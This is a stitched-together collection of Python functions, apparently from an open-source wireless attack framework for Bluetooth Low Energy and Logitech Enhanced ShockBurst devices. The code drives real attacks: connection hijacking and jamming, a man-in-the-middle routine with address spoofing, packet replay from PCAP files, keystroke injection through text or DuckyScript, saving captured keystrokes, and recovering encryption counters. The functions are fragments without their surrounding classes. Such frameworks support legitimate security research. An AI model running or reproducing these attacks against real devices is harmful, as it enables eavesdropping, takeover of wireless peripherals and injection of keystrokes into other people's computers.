def write_req(self, handle, value): if self.receiver.isConnected(): if utils.isHexadecimal(handle) and utils.isHexadecimal(value): self.emitter.sendp( ble.BLEWriteRequest(handle=int(handle, 16), value=bytes.fromhex(value))) io.info("Write Request : handle = " + handle + " / value = " + value) response = self.receiver.next(timeout=3) retry = 3 while not (isinstance(response, ble.BLEWriteResponse) or isinstance(response, ble.BLEErrorResponse) or retry == 0): response = self.receiver.next(timeout=1) retry -= 1 if isinstance(response, ble.BLEWriteResponse): io.success("Response : success") elif isinstance(response, ble.BLEErrorResponse): io.fail("Error response !") elif retry == 0: io.fail("Timeout error !") else: io.fail( "Handle or value is not correctly formatted (hexadecimal) !" ) else: io.fail("No active connections !")
def init(self): super().init() if self.ready: self.synchronized = False self.hijacked = False self.mitmed = False self.inject = False self.clockCorrection = 0.0 self.currentAttack = {"attack":None,"status":"stopped"} self.lastTarget = "FF:FF:FF:FF:FF:FF" self.availableSubInterfaces = None self.sniffingMode = None self.scanThreadInstance = None self.subDevices = {"master":None,"slave":None} self.setScanInterval() self.capabilities = [ "SNIFFING_NEW_CONNECTION", "SNIFFING_ADVERTISEMENTS", "SCANNING", "MITMING_EXISTING_CONNECTION", "HIJACKING_MASTER", "HIJACKING_SLAVE" ] # Select BLE controller self.selectController("BLE") self.enableController() io.success("ButteRFly device successfully instantiated !")
def send(self,payloads="0f0f0f0f"): if self.target is None: io.fail("You must select a target before performing this action.") else: self.ackLock.acquire() for payload in payloads.split(","): try: esbPayload = bytes.fromhex(payload) self.emitter.sendp(esb.ESBPacket(address=self.target,payload=esbPayload)) found = False start = utils.now() while utils.now() - start < 1: if self.ack: found = True break self.ack = False if found: io.success("ACK received.") else: io.fail("No ACK received.") except ValueError: io.fail("You must specify an hexadecimal payload.") self.ackLock.release() return self.ackLock.release()
def run(self): self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) if self.checkCapabilities(): if utils.isNumber(self.args["CHANNEL"]): self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) else: io.fail("You must provide a channel number !") return self.nok() self.pcapReceiver = self.getReceiver( interface=self.args["PCAP_FILE"]) io.info("Extracting packet stream from PCAP ...") stream = self.pcapReceiver.generateStream() io.success("Packet stream successfully extracted !") io.info("Injecting ...") self.emitter.sendp(*stream) for i in stream: i.show() while not self.emitter.isTransmitting(): utils.wait(seconds=0.1) while self.emitter.isTransmitting(): utils.wait(seconds=0.1) io.success("Injection done !") return self.ok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to inject frames.") return self.nok()
def exportTextFile(self): io.info("Captured keystrokes: "+self.text) if self.args["TEXT_FILE"] != "": with open(self.args["TEXT_FILE"],"w") as f: io.success("Captured keystrokes stored as "+self.args["TEXT_FILE"]) f.write(self.text) f.close()
def init(self): if self.nrfsniffer is not None: self.capabilities = [ "SNIFFING_ADVERTISEMENTS", "SNIFFING_NEW_CONNECTION", "SCANNING" ] self.lastTarget = "FF:FF:FF:FF:FF:FF" self.lock = Lock() self._flush() self.isListening = False self.crcEnabled = True self.receptionBuffer = b"" self.commandResponses = Queue() self.packetCounter = 1 self.synchronized = False self.scanMode = False self.sweepingMode = False self.sweepingSequence = [] self.sniffingMode = BLESniffingMode.NEW_CONNECTION version = self.getFirmwareVersion() io.success("NRFSniffer device " + ("#" + str(self.index) if isinstance(self.index, int) else str(self.index)) + " successfully instantiated (firmware version : " + str(version) + ")") self.channel = None self._goIdle() self.targets = {} self._setChannel(37) self.ready = True
def pairing( self, active: ["active", "passive"] = "active", parameters: "!method:_autocompletePairingParameters" = "inputOutput=yesno|authentication=bonding|ltk=112233445566778899aabbccddeeff|rand=1122334455667788|ediv=12" ): self.receiver.removeCallbacks() self.initializeCallbacks() parameters = { param.split("=")[0]: param.split("=")[1] for param in parameters.split("|") } pairModule = utils.loadModule("ble_pair") pairModule["INTERFACE"] = self.args["INTERFACE"] pairModule["MODE"] = "slave" pairModule["ACTIVE"] = "yes" if active == "active" else "no" pairModule["KEYBOARD"] = "yes" if ( "inputOutput" in parameters and "keyboard" in parameters["inputOutput"]) else "no" pairModule["YESNO"] = "yes" if ("inputOutput" in parameters and "yesno" in parameters["inputOutput"]) else "no" pairModule["DISPLAY"] = "yes" if ( "inputOutput" in parameters and "display" in parameters["inputOutput"]) else "no" pairModule["CT2"] = "yes" if ( "authentication" in parameters and "ct2" in parameters["authentication"]) else "no" pairModule["MITM"] = "yes" if ( "authentication" in parameters and "mitm" in parameters["authentication"]) else "no" pairModule["BONDING"] = "yes" if ( "authentication" in parameters and "bonding" in parameters["authentication"]) else "no" pairModule["SECURE_CONNECTIONS"] = "yes" if ( "authentication" in parameters and "secureConnections" in parameters["authentication"]) else "no" pairModule["KEYPRESS"] = "yes" if ( "authentication" in parameters and "keypress" in parameters["authentication"]) else "no" pairModule["LTK"] = parameters["ltk"] if "ltk" in parameters else "" pairModule["EDIV"] = parameters["ediv"] if "ediv" in parameters else "" pairModule["RAND"] = parameters["rand"] if "rand" in parameters else "" pairModule["IRK"] = parameters["irk"] if "irk" in parameters else "" pairModule["ADDR"] = parameters["addr"] if "addr" in parameters else "" pairModule["ADDR_TYPE"] = parameters[ "addrType"] if "addrType" in parameters else "" pairModule["CSRK"] = parameters["csrk"] if "csrk" in parameters else "" pairModule["PIN"] = parameters["pin"] if "pin" in parameters else "" io.chart(["Name", "Value"], [[k, v] for k, v in pairModule.args.items()], "Input parameters") output = pairModule.execute() if output["success"]: if active == "active": io.success("Active pairing enabled !") else: io.success("Passive pairing enabled !") else: io.fail("An error occured during pairing !")
def _initBLE(self): self.jamming = False self.synchronized = False self.sweepingMode = False self.sniffingMode = None self.sweepingSequence = [] self.sweepingThreadInstance = None self.scanThreadInstance = None self._stop() self.channel = 37 self.accessAddress = None self.crcInit = None self.channelMap = None self.hopInterval = None self.hopIncrement = None self._setCRCChecking(False) self.setCRCChecking(enable=False) self.setScanInterval(seconds=2) self._resetClock() self._setJamMode(JAM_NONE) self._setModulation() self._start() self.capabilities = ["SCANNING", "SNIFFING_ADVERTISEMENTS", "SNIFFING_EXISTING_CONNECTION", "SNIFFING_NEW_CONNECTION","JAMMING_CONNECTIONS"] io.success("Ubertooth Device ("+self.interface+") successfully instanciated !")
def connect(self, packet): if self.getStage() == BLEMitmStage.WAIT_CONNECTION: io.success("Master connected : " + packet.srcAddr) self.initiatorAddress = packet.srcAddr self.initiatorAddressType = b"\x00" if packet.type == "public" else b"\x01" if self.args["ADVERTISING_STRATEGY"] == "preconnect": if utils.booleanArg(self.args["MASTER_SPOOFING"]): self.a2sEmitter.sendp(ble.BLEDisconnect()) while self.a2sEmitter.isConnected(): utils.wait(seconds=0.01) self.a2sEmitter.setAddress(packet.srcAddr, random=packet.type == "random") address = utils.addressArg(self.args["TARGET"]) connectionType = self.args["CONNECTION_TYPE"] io.info("Connecting to slave " + address + "...") self.a2sEmitter.sendp( ble.BLEConnect(dstAddr=address, type=connectionType, initiatorType=packet.type)) while not self.a2sEmitter.isConnected(): utils.wait(seconds=0.01) if self.args["ADVERTISING_STRATEGY"] == "flood": if utils.booleanArg(self.args["MASTER_SPOOFING"]): self.a2sEmitter.setAddress(packet.srcAddr, random=packet.type == "random") self.connectOnSlave(packet.type) self.setStage(BLEMitmStage.ACTIVE_MITM) io.info("Entering ACTIVE_MITM stage ...")
def run(self): interface = self.args["INTERFACE"] timeout = utils.integerArg(self.args["TIMEOUT"]) self.emitter = self.getEmitter(interface=interface) self.receiver = self.getReceiver(interface=interface) if self.checkCapabilities(): io.info("Trying to connect to : " + self.args["TARGET"] + " (type : " + self.args["CONNECTION_TYPE"] + ")") self.emitter.sendp( ble.BLEConnect(self.args["TARGET"], type=self.args["CONNECTION_TYPE"])) while not self.receiver.isConnected() and timeout > 0: timeout -= 1 utils.wait(seconds=1) if self.receiver.isConnected(): io.success("Connected on device : " + self.args["TARGET"]) return self.ok({"INTERFACE": self.args["INTERFACE"]}) else: io.fail("Error during connection establishment !") self.emitter.sendp(ble.BLEConnectionCancel()) return self.nok() else: io.fail("Interface provided (" + str(self.args["INTERFACE"]) + ") is not able to initiate connection.") return self.nok()
def _updateChannelMap(self, channelMap=None): channelMap = 0x1fffffffff io.info("Ubertooth can only sniff connections with channel map : " + "0x{:10x}".format(channelMap)) io.success("Channel Map successfully updated : " + "0x{:10x}".format(channelMap)) self._setChannelMap(channelMap) io.info("Recovering Hop Interval ...")
def masterPairingRequest(self, pkt): self.initiatorAddress = self.emitter.getCurrentConnection() self.initiatorAddressType = b"\x00" if self.emitter.getCurrentConnectionMode( ) == "public" else b"\x01" self.responderAddress = self.emitter.getAddress() self.responderAddressType = b"\x00" if self.emitter.getAddressMode( ) == "public" else b"\x01" pkt.show() self.pairingRequest = pkt self.pReq = self.pairingRequest.payload[::-1] self.initiatorAuthReq = ble.AuthReqFlag( data=bytes([pkt.authentication])) self.initiatorInputOutputCapability = ble.InputOutputCapability( data=bytes([pkt.inputOutputCapability])) self.initiatorKeyDistribution = ble.KeyDistributionFlag( data=bytes([pkt.initiatorKeyDistribution])) keyboard = utils.booleanArg(self.args["KEYBOARD"]) yesno = utils.booleanArg(self.args["YESNO"]) display = utils.booleanArg(self.args["DISPLAY"]) ct2 = utils.booleanArg(self.args["CT2"]) mitm = utils.booleanArg(self.args["MITM"]) bonding = utils.booleanArg(self.args["BONDING"]) secureConnections = utils.booleanArg(self.args["SECURE_CONNECTIONS"]) keyPress = utils.booleanArg(self.args["KEYPRESS"]) linkKey = False encKey = self.args["LTK"] != "" and self.args[ "EDIV"] != "" and self.args["RAND"] != "" idKey = self.args["IRK"] != "" and self.args[ "ADDR"] != "" and self.args["ADDR_TYPE"] signKey = self.args["CSRK"] != "" self.responderInputOutputCapability = ble.InputOutputCapability( keyboard=keyboard, display=display, yesno=yesno) self.responderAuthReq = ble.AuthReqFlag( ct2=ct2, mitm=mitm, bonding=bonding, secureConnections=secureConnections, keypress=keyPress) self.responderKeyDistribution = ble.KeyDistributionFlag( linkKey=linkKey, encKey=encKey, idKey=idKey, signKey=signKey) self.pairingResponse = ble.BLEPairingResponse( authentication=self.responderAuthReq.data[0], inputOutputCapability=self.responderInputOutputCapability.data[0], initiatorKeyDistribution=self.responderKeyDistribution.data[0], responderKeyDistribution=self.responderKeyDistribution.data[0]) self.pairingResponse.show() self.pRes = self.pairingResponse.payload[::-1] pairingMethod = self.pairingMethodSelection() io.success("Pairing Method selected : " + self.pairingMethod) self.emitter.sendp(self.pairingResponse)
def init(self): success = self._launchHcidumpProcess(self.index) if success: self.capabilities = ["HCI_MONITORING"] io.success("Hcidump successfully attached to device : hci"+str(self.index)) self.buffer = b"" self.ready = True else: io.fail("Hcidump failed to attach to device : hci"+str(self.index))
def address(self, address=""): if address == "": io.info("Current address : " + self.emitter.getAddress()) else: success = self.emitter.setAddress(address) if success: io.success("New address set : " + self.emitter.getAddress()) else: io.fail("An error occured during address modification.")
def write_cmd(self,handle,value): if self.receiver.isConnected(): if utils.isHexadecimal(handle) and utils.isHexadecimal(value): self.emitter.sendp(ble.BLEWriteCommand(handle = int(handle,16),value=bytes.fromhex(value))) io.success("Write Command : handle = "+handle+" / value = "+value) else: io.fail("Handle or value is not correctly formatted (hexadecimal) !") else: io.fail("No active connections !")
def onSlaveConnect(self): io.success('Connected to slave') self.requestSlave() if self.pairing: self.module.pairing(active='active') self.requestSlave() self.module.disconnect() return True
def openHackRF(self): ser = create_string_buffer(len(self.serial) + 1) ser.value = bytes(self.serial, "utf-8") ret = libhackrf.hackrf_open_by_serial(ser, self.device) if ret == HackRfError.HACKRF_SUCCESS: HackRFSDR.instances[self.serial] = self.device self.ready = True io.success("HackRF successfully initialized !") else: self.device = None
def init(self): if self.microbit is not None: self._flush() self.setCRCChecking(True) self.scanThreadInstance = None self.isListening = False self.hijacking = False self.jamming = False self.customMirageFirmware = False self.receptionBuffer = b"" self.lock = Lock() self.commandResponses = Queue() self.channel = 37 self.accessAddress = None self.crcInit = None self.channelMap = None self.hopInterval = None self.hopIncrement = None self.sniffingMode = None self.hijacked = False self.synchronized = False self.jammingEnabled = True self.sweepingMode = False self.sweepingSequence = [] self.sweepingThreadInstance = None self.lastTarget = "FF:FF:FF:FF:FF:FF" self.setScanInterval() self.candidateAccessAddresses = {} self.capabilities = [ "SNIFFING_EXISTING_CONNECTION", "SNIFFING_NEW_CONNECTION", "HIJACKING_MASTER", "JAMMING_CONNECTIONS", "COMMUNICATING_AS_MASTER" ] try: (major, minor) = self._getFirmwareVersion() io.success("BTLEJack device " + ("#" + str(self.index) if isinstance( self.index, int) else str(self.index)) + " successfully instantiated (firmware version : " + str(major) + "." + str(minor) + ")") if major == 3 and minor == 14: io.info( "Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported." ) self.capabilities += [ "SNIFFING_ADVERTISEMENTS", "SCANNING", "JAMMING_ADVERTISEMENTS" ] self.customMirageFirmware = True self._reset() self.ready = True except: self.microbit = None self.ready = False
def exportAttributes(self, attributes): config = configparser.ConfigParser() for attribute in attributes: type = attribute["type"].hex() value = attribute["value"].hex() handle = "0x{:04x}".format(attribute["handle"]) config[handle] = {"type": type, "value": value} with open(self.args["ATT_FILE"], 'w') as outfile: config.write(outfile) io.success("Discovered attributes are saved as " + self.args["ATT_FILE"] + " (CFG file format)")
def onStart(self): self.emitter = self.module.emitter self.receiver = self.module.receiver self.target = utils.addressArg(self.module.target) self.lock = Lock() io.info("Following mode disabled by the scenario.") self.module.stopFollowing() io.info("Generating attack stream ...") attackStream = self.startLogitechInjection() self.mode = None if "TEXT" in self.module.args and self.module.args["TEXT"] != "": self.mode = "text" text = self.module.args["TEXT"] io.info("Text injection: "+text) attackStream += self.addLogitechDelay(duration=100) attackStream += self.addLogitechText(text) elif "INTERACTIVE" in self.module.args and utils.booleanArg(self.module.args["INTERACTIVE"]): self.mode = "interactive" io.info("Interactive mode") self.keepAliveThread = wireless.StoppableThread(self.keepAlive) self.keepAliveThread.start() elif "DUCKYSCRIPT" in self.module.args and self.module.args["DUCKYSCRIPT"] != "": self.mode = "duckyscript" io.info("Duckyscript injection: "+self.module.args["DUCKYSCRIPT"]) parser = parsers.DuckyScriptParser(filename=self.args["DUCKYSCRIPT"]) attackStream = parser.generatePackets( textFunction=self.addLogitechText, initFunction=self.startLogitechInjection, keyFunction=self.addLogitechKeystroke, sleepFunction=self.addLogitechDelay ) else: io.fail("You must provide one of the following parameters:\n\tINTERACTIVE : live keystroke injection\n\tTEXT : simple text injection\n\tDUCKYSCRIPT : duckyscript injection") self.module.stopScenario() return True io.info("Looking for target "+str(self.target)+"...") while not self.emitter.scan(): utils.wait(seconds=0.1) io.success("Target found !") io.info("Injecting ...") self.emitter.sendp(*attackStream) if self.mode != "interactive": while not self.emitter.isTransmitting(): utils.wait(seconds=0.5) while self.emitter.isTransmitting(): utils.wait(seconds=0.5) self.module.stopScenario() return True
def disconnect(self): if self.receiver.isConnected(): self.emitter.sendp(ble.BLEDisconnect()) utils.wait(seconds=1) io.success("Disconnected !") if self.receiver.isConnected(): self.updatePrompt(self.emitter.getCurrentConnection()) else: self.updatePrompt() else: io.fail("No active connections !")
def find(self): found = False for i in range(1, 100): self.receiver.setChannel(i) pkt = self.receiver.next(timeout=0.1) if pkt is not None: found = True io.success("Channel found: " + str(i)) break if not found: io.fail("Channel not found !") return found
def run(self): self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) if self.checkInjectingCapabilities(): self.pcapReceiver = self.getReceiver(interface=self.args["PCAP_FILE"]) self.target = "FF:FF:FF:FF:FF" if self.args["TARGET"] == "" else utils.addressArg(self.args["TARGET"]) if self.target == "FF:FF:FF:FF:FF" and not self.checkPassiveScanningCapabilities(): io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to scan in promiscuous mode, you have to provide a specific target.") return self.nok() if self.target != "FF:FF:FF:FF:FF" and self.args["CHANNEL"].lower() == "auto" and not self.checkActiveScanningCapabilities(): io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to perform an active scan.") return self.nok() if self.target == "FF:FF:FF:FF:FF": io.info("Promiscuous mode enabled ! Every frame contained in the file indicated in PCAP_FILE will be transmitted.") self.emitter.enterPromiscuousMode() else: io.info("Sniffing mode enabled !") self.emitter.enterSnifferMode(address=self.target) if utils.isNumber(self.args["CHANNEL"]): self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) elif self.args["CHANNEL"].lower() == "auto": self.searchChannel() else: io.fail("A channel must be provided in order to perform an injection.") return self.nok() io.info("Extracting packet stream from PCAP ...") stream = self.pcapReceiver.generateStream() io.success("Packet stream successfully extracted !") io.info("Injecting ...") self.emitter.sendp(*stream) while not self.emitter.isTransmitting(): utils.wait(seconds=0.1) while self.emitter.isTransmitting(): utils.wait(seconds=0.1) io.success("Injection done !") return self.ok() else: io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to inject.") return self.nok()
def setupAPI(cls): ''' This method initializes the HackRF API. ''' if not HACKRFLIB_AVAILABLE: io.fail("Fatal error: libhackrf has not been found. Exiting ...") utils.exitMirage() if not cls.initialized: libhackrf.hackrf_init() cls.initialized = True io.success("HackRF API initialized !")
def dongleToDevice(self, pkt): if self.stage != ESBMitmStage.SCAN: if pkt.payload == b"" and self.stage == ESBMitmStage.DESYNC: self.ackCount += 1 if self.ackCount >= 10: io.success("Acknowledgment received on channel " + str(self.dongleReceiver.getChannel()) + "!") io.info("Entering ACTIVE_MITM stage ...") self.setStage(ESBMitmStage.ACTIVE_MITM) if self.stage == ESBMitmStage.ACTIVE_MITM: self.ackPacket(pkt) if utils.booleanArg(self.args["SHOW_ACK"]): pkt.show()
def switch(self,target:"!method:_autocompleteConnections"): if utils.isNumber(target): if int(target) > 0 and int(target) < len(self.emitter.getConnections())+1: address = self.emitter.getConnections()[int(target)-1]["address"] else: address = self.emitter.getAddressByHandle(int(target)) else: address = target if self.emitter.switchConnection(address): io.success("Switching to connection <"+address+">") self.updatePrompt(address) else: io.fail("Unknown connection !")
def tryToDecrypt(self, payload): ''' This function tries to decrypt a payload. It tries to guess the direction (master to slave or slave to master) and the right counters' values. :param payload: payload to decrypt :type payload: bytes :return: tuple composed of (decrypted payload, boolean indicating if the operation was successful) :rtype: tuple of (bytes,bool) .. note:: If the operation fails, the decrypted payload field of the tuple is replaced by None ''' plain, masterToSlave = self.decrypt(payload, masterToSlave=True) if masterToSlave: self.incrementMasterCounter() return (plain, True) else: plain, slaveToMaster = self.decrypt(payload, masterToSlave=False) if slaveToMaster: self.incrementSlaveCounter() return (plain, True) if not masterToSlave and not slaveToMaster: masterCounter = self.masterCounter slaveCounter = self.slaveCounter found = False iteration = 0 io.info( "We have missed something, trying to recover counters' values ..." ) while not found and iteration < 30: iteration += 1 self.incrementMasterCounter() plain, masterToSlave = self.decrypt(payload, masterToSlave=True) if masterToSlave: io.success("Master counter recovered !") found = True self.slaveCounter = slaveCounter self.incrementMasterCounter() else: self.incrementSlaveCounter() plain, slaveToMaster = self.decrypt(payload, masterToSlave=False) if slaveToMaster: io.success("Slave counter recovered !") found = True self.masterCounter = masterCounter self.incrementSlaveCounter() return (plain, True) if found else (None, False)
def init(self): ''' This method initializes the PCAP file, by checking the header (if the Device is in reading mode) or by adding the header (if the Device is in writing mode). ''' if self.mode == "read": initFunction = self._readHeader else: initFunction = self._addHeader self.magic, self.dlt, success = initFunction() if success and self.magic == 0xa1b2c3d4 and self.DLT == self.dlt: io.success("PCAP file successfully loaded (DLT : "+str(self.dlt)+") ! ") self.ready = True else: self.ready = False
def onAdvertisement(self, packet): if self.target != "": return if packet.type == 'ADV_IND': for part in packet.data: # search for our slave in GAP adv data if hasattr(part, 'local_name') and part.local_name.decode( 'utf-8') == self.searchFor: self.target = packet.addr if self.target != "": io.success('Found slave at ' + self.target) self.module.receiver.setScan(enable=False) #self.module.receiver.removeCallbacks() #self.module.initializeCallbacks() self.customConnect()
def generateSessionKey(self): ''' This method generates the session key according to the calculted session key diversifier and initialization vector. ''' successSkd = self.generateSkd() successIv = self.generateIv() if successSkd and successIv: self.sessionKey = BLECrypto.e(self.ltk, self.skd) self.ready = True self.masterCounter = self.slaveCounter = 0 io.success("Session key successfully generated !") self.displayDetails() return True else: io.fail("An error occured during session key generation.") return False